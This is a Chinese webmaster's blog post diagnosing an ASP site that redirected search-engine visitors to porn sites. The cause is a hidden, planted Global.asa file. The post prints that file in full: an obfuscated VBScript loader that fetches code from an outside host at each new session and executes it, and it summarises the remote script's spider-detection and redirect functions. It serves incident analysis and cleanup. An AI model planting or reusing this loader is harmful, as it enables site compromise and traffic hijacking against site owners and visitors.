警惕ASP网站Global.asa导致网站被挂马或转向的解决办法
上午帮朋友处理一个比较有难度的问题,网站输入域名访问正常打开,但从搜索引擎厚度或是Google之类的打开,就会跳转到某些色情网站上去.
根据经验,可以推断出来应该是asp程序根据网页的来路,即HTTP_REFERER进行判断,发现是搜索引擎过来的流量就跳转到色情站点去,使用此种方法具有很强的隐匿性,因为站长们一般不会去搜索自己的网站,所以轻易不会发现自己站点遭到了挟持。
因为网站是自己很多年前帮朋友做的,所以要了现在的代码,看了一下,没有发现问题,就开始是不是服务器感染了什么病毒或是被加上了什么IIS过滤器之类的,要了远程桌面,上去找了半天,一无所获,看了一下IP地址,发现是一个内网IP地址,也就是说需要网关将网站映射发布出去,于是怀疑问题是在网关上,但问了朋友之后,得知网关为一路由器,再加上将IIS关闭,网站也就无法打开,不能再跳转,排除了网关加马的可能性。
难倒走不下去了?
忽然想到一招,采用FileMon对w3wp.exe进程进行监控,看看用搜索引擎打开和直接打开读取的文件到底有什么不同,通过多次比较,也没有发现什么疑点。
万般无奈,又回到网站根目录下,顺手打开了显示系统隐藏文件,却发现多了一个Global.asa文件,因为网站是自己做的,比较了解,根本不可能使用这个文件,打开一看,一切疑点都解决了。
Global.asa文件内容如下:
<script language="vbscript" runat="server">
'by_aming
'by*aming
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
url="h"&"t"&"t"&"p"&":"&"/"&"/"&"g"&"l"&"o"&".1"&"0"&"0"&"5"&"0"&"0"&".c"&"o"&"m"&"/x"&"m"&"l"&"/"&"g"&"l"&"o"&"b"&"a"&"l"&"."&"a"&"s"&"a"&"q"&"u"&"a"&"n"&"."&"t"&"x"&"t"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set obtream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
if instr(GetHtml,"by*aming")>0 then
execute GetHtml
end if
end sub
'sub Session_OnEnd
'end sub
</script>
因为Global.asa文件为网站启动文件,当一个网站被第一次访问时,会执行Application_Start代码段的内容,当一个用户第一次访问时会执行Session_Start代码段的内容,所以此段代码的作用就是当访问,从处下载内容,并执行,让我们来看看的内容是什么吧:
此处代码有多个函数组成:
createasa 根据传入的内容创建global.asa文件
createasax 根据传入的内容创建Global.asax文件
GetHtml 根据传入的url,获取相应的内容
check 检测user-agent判断是否为搜索引擎的蜘蛛
CheckRobot 检测是否为robot ?
CheckRefresh 检测是否Refresh
说到底这块代码的作用就是判断访问页面是否来自于搜索引擎,是的话,就将HTML:
输出去。
至此,就达到了将来自于搜索引擎流量挟持走的目的了。
解决办法也很简单,就是直接删除此文件就可以了,当然最好还是要检查一下网站,查一下为什么会被加上一个Global.asa文件